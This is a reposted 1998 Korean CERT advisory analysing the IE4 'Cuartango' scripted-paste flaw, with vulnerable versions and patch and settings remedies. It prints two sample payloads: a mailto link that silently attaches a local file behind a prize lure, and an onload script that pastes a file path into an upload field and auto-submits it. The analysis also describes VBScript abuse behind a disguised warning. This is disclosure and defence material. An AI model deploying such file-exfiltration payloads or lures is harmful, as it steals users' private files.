강좌
클라우드/리눅스에 관한 강좌입니다.
리눅스 분류

IE4의 Cuartango 보안 취약점 분석보고서

작성자 정보

  • 웹관리자 작성
  • 작성일

컨텐츠 정보

본문

IE4의 Cuartango 보안 취약점 분석보고서

1998.11.16

정현철/CERTCC-KR, 한국정보보호센터

hcjung@{certcc, kisa}.or.kr

1. 개요

마이크로소프트사의 인터넷 익스플로러(IE)는 가장 많이 사용되고 있는 웹브라우저 중의 하나이고, 특히 최근 출시된 Windows 98에서는 기본적으로 IE가 설치되어 있어 그 사용빈도가 대단히 높다.

하지만 이 IE를 통해 PC상의 어떠한 파일도 유출될 수 있는 대단히 치명적인 보안 취약점이 존재한다. 이 취약점은 발견자의 이름을 붙여 "Cuartango 보안 취약점" 또는 "Untrusted Scripted Paste"라는 이름으로 알려졌다.

스페인의 웹 개발자인 Juan Carlos G. Cuartango가 IE4에서 대단히 심각한 보안 취약점을 발견했다. 웹 페이지 상의 간단한 자바 스크립트로 악의적인 웹 사이트 운영자는 사용자들의 하드 디스크에서 어떠한 파일이라도 훔쳐서 자동적으로 그 내용을 웹서버에 올릴 수 있다. 더 우려스러운 것은 Outlook Express의 HTML 기반 전자우편 메시지도 이러한 침해를 당할 수 있다는 것이다. 단순히 부비 트랩 전자우편을 읽음으로써 개인 파일이 자신의 디스크로 부터 유출 당할 수 있다.

이 취약점을 이용한 공격을 위해서는 유출 대상 파일의 정확한 위치와 이름을 알아야만 하는데, 사용자들의 주요한 파일들이 대부분 특정 위치에 있는 경우가 많다. 사용자들의 수신 메일도 그 위치와 이름이 일반적이어서 쉽게 추정가능하므로 메일을 훔쳐보는 것도 가능하다. 또한 윈도우즈의 레지스트리 파일도 일반적인 위치에 있어 쉽게 유출당할 수 있고, 이 레지스트리 파일에는 다른 파일들의 위치에 대한 정보들도 포함하고 있어 위험하다.

MS사는 파일을 업로드할때 오직 사용자가 업로드할 이름을 직접 입력해야만 가능하고 자바스크립트가 파일 이름 필드의 내용을 수정할 수 없도록 구현하였다. 그렇지만 MS사가 간과한 것은 "copy"와 "paste"명령어만으로 간단히 이 파일 이름이 수정될 수 있다는 것이다. 자바 스크립트가 파일 데이터를 입력할 수는 없지만 "paste" 기능은 수행할 수 있다. 따라서 스크립트는 파일 이름에 간단히 "paste" 기능을 사용하여서 파일을 업로드할 수 있는 결함이 있다.

2. 취약한 소프트웨어

  • 윈도우즈 NT나 윈도우즈 95에 설치된 MS IE 4.01과 4.01 SP1
  • IE가 기본적으로 들어있는 윈도우즈 98
  • 윈도우즈 3.1이나 윈도우즈 NT 3.51에 설치된 MS IE 4.01

이 취약점은 IE가 기본 브라우저로 사용되고 있지 않다고 하더라도 IE에 의해 제공되는 HTML 기능을 사용하는 소프트웨어에 의해 영향을 받을 수도 있다. 따라서 IE를 웹브라우저로 사용하지 않고 설치만 되어 있더라도 Cuartango 취약점이 존재한다.

이 취약점은 어떠한 플랫폼의 IE 3.x나 4.0에서는 영향을 받지 않으며 매킨토시나 유닉스 버전의 IE도 안전하다.

3. Cuartango 취약점을 이용한 공격 기술

일반적으로 사용자가 수동으로 업로드할 파일 이름을 적을 수 있다. 하지만 IE4는 실수로 JavaScript가 파일 이름을 적으로 수 있는 cut과 paste 기능을 실행하는 것을 허락하고 있다. 파일이름이 적히면, 자바 스크립트는 그 파일을 자동으로 업로드할 수 있게 허락한다.

  1. mailto에 의한 파일 유출

    "mail to" 링크를 통해서 메일이 보내어질 때 사용자들의 컴퓨터 시스템에 있는 파일이 유출될 수 있다.

    경품 추천 등으로 가장한 다음과 같은 코드를 가진 "mail to"문을 클릭하게 되면 Outlook 98 메일이 화면에 떠서 메일을 보낼 수 있는 창이 나타난다. 사용자는 무심코 "Send" 버튼을 클릭하게 되면, 의도하지 않은 시스템의 중요 파일이 첨부되어 전송되게 된다. 첨부된 파일은 메일 하단부에 두어 수직 스크롤 바를 눌러 확인하여야만 가능하도록 하여 파일 유출 사실을 숨기는 것이 보통이다.

    <a ref="mailto:cuartangojc@mailcity.com?subject=mailto%20hack&amp;
    body=%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%
    0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A
    %0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A
    &amp;attach=&quot;c:/test.txt&quot;">Pleasefollow this link to win 10,000$ </a>


    다음 그림은 실제 위의 코드를 포함한 "mail to" 링크를 클릭했을때 메일 내용의 하단부에 의도하지 않은 파일이 첨부되어 있는 것을 확인할 수 있다.


     

    이 취약점을 이용하여 시스템의 특정 파일 이름을 알고 있다면 이를 유출할 수 있게 된다.

  1. Paste를 이용한 파일 유출

    악의적인 스크립트에 의해 웹 사이트로 자신의 컴퓨터 시스템의 파일이 유출되어질 수 있다.

    브라우저의 컴퓨터로 부터 파일을 웹 사이트에 전달하기 위해서 input 폼 필드가 사용되는데 다음과 같은 HTML 코드이다.

    <input type="file" name="filename" size="30">

    일반적으로 이 input 필드는 사용자가 "Browse" 버튼을 클릭하여 파일을 선택하든지 파일 이름을 직접 타이핑함으로써만 채워질 수 있다. 보안상 스크립트 파일들은 이 input 필드의 값을 임의로 수정할 수 없도록 되어 있어서 다음과 같은 문장은 동작하지 않는다.

    document.forms[0].filename = "C:config.sys"

    하지만, MS사에서 간과한 것은 "copy"와 "paste" 명령어는 IE4의 스크립트에서 동작가능하여 파일 입력이 가능하다는 것이다.

    이는 다음의 스크립트를 가진 HTML 문에서 가능하다.

    ----------- 중략 ----------

    <body onload="getfile()">

    ----------- 중략 ----------

    function getfile()

    {

    document.forms[1].T1.select();

    document.execCommand("copy");

    document.forms[0].filename.select();

    document.execCommand("paste");

    document.forms[0].submit();

    }

    ----------- 중략 ----------


    입력 텍스트 박스를 통해서 "paste" 명령어가 동작 가능한 취약점은 클립보드의 내용을 악의적인 웹사이트로 유출할 수도 있다.

  1. VBScript에 의한 파일 유출

    악의적인 VBScript는 시스템을 마음대로 제어할 수도 있다. 즉 VBScript를 통해서 시스템의 파일 삭제, 바이러스 설치, 파일 유출 등을 가능하게 한다.

    MS사의 IE는 비주얼 베이직 스크립트가 객체를 생성하려고 할때 다음과 같은 보안 경고문을 보내게 된다.

    img02.gif

    ActiveX와 VB 스크립트에 대해 잘 모르는 사람이라면 이 대화상자에서 "예"를 선택할 것이다. 만일 여기서 "예"를 선택하게 되면 이미 시스템의 모든 제어권을 VB 스크립트에게 빼앗기게 된다.

    일종의 눈속임으로 이 경고 대화창에 친숙한 화면을 덮어 쓰움으로써 경고 대화창을 숨기고, 사용자가 "예"를 선택하도록 한다. 만일 "아니오"를 선택했을 때 스크립트에서 "CreateObject"를 실행하지 못해 다음과 같은 오류 메시지를 출력한다.

    img03.gif

    그러나, "예"를 선택하게 되면 MS Excel 97 객체를 생성하여 Excel 파일의 내용을 읽거나, 악성 바이러스를 심어 놓거나, 심지어는 시스템의 모든 파일을 삭제할 수도 있다.

4. 대응책

MS사로 부터 패치 프로그램을 다운로드하여 패치하는 것이 가장 좋은 방법이다.

  1. Windows 98

    Windows를 업데이트함으로써 패치할 수 있다. 이를 위해서는 windows 시작 메뉴에서 "windows update"를 시작하고, 여기서 "Product Updates"를 선택하고, "Yes"를 클릭하여 이 패치뿐만 아니라 다른 업데이터가 필요한 경우도 업데이터할 수 있다. 만일 이 패치만을 필요로 할 경우, "Critical Updates" 세션을 선택하여 패치를 수행한다.

  1. IE 4.01

    IE 4.01 사용자는 IE 보안 웹사이트 http://www.microsoft.com/ie/security/paste.htm 로 부터 패치를 구할 수 있다.

    위와 같이 패치 프로그램을 설치하기를 강력히 권고하지만, 임시조치로 다음과 같이 할 수도 있다.

    만일 암호화되지 않은 폼을 수행할 때, 기본적으로 경고 메시지를 디스플레이하게 되는 데 이를 정지시켜 놓았다면 다시 경고 메시지를 출력하도록 하라. 사용자들은 이러한 경고 메시지에 주의를 기울여 살펴보고, 어떤 데이터를 보낼것인지 등에 대해 실제 선택을 하여야 한다.

    이를 위해서 다음의 과정을 수행한다.

    1. IE의 "View" 메뉴에서 "Internet Options"를 선택
    2. "Security" 탭을 선택
    3. "Internet Zone"을 선택하여 "Customize Settings"를 클릭
    4. "Submit non-encrypted form data"로 이동하여, "Prompt"를 선택

    위와 같은 과정을 1의 "Restricted Sites"에서도 반복한다.

    추가적으로 이 취약점에 대해서 곧바로 패치를 하지 못할 경우에 이러한 액티브 스크립트 기술을 IE에서 정지하도록 한다. 이는 사용자들이 신뢰된 사이트로부터는 JSscript와 VBScript를 정상적으로 동작하도록 하고, 신뢰되지 않는 인터넷 사이트로 부터는 액티브 스크립트(VBScript와 JScript)를 정지시킨다.

    "Internet"영역으로부터 액티브 스크립트를 정지시키기 위해서는 다음의 과정을 거친다.

    1. IE의 "View" 메뉴에서 "Internet Options"를 선택
    2. "Security" 탭을 선택
    3. "Internet Zone"을 선택하여 "Customize Settings"를 클릭

      img04.gif

    1. "Active Scripting"으로 스크롤 이동하여, "Disable"을선택

      img05.gif

    위와 같은 과정을 1의 "Restricted Sites"에서도 반복한다.

    JScript와 VBScript를 동작하도록 허용하는 신뢰된 사이트는 신뢰된 영역 리스트에 추가할 수 있다.


[참고 문헌]

Cuartango Security WEB Site

Microsoft Security Bulletin(MS98-015, Untrusted Scripted Paste)

Wired News

News.com

InfoWorld

Microsoft posts patch for IE security hole (MSNBC)

Microsoft issues Cuartango patch (cnet News.com)

IE bug opens users' hard drives (cnet News.com)

Week's Top News Stories (InfoWorld)

ABCNEWS.com: Technology Index (ABC News)

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,043 명
  • 현재 강좌수 :  35,853 개
  • 현재 접속자 :  68 명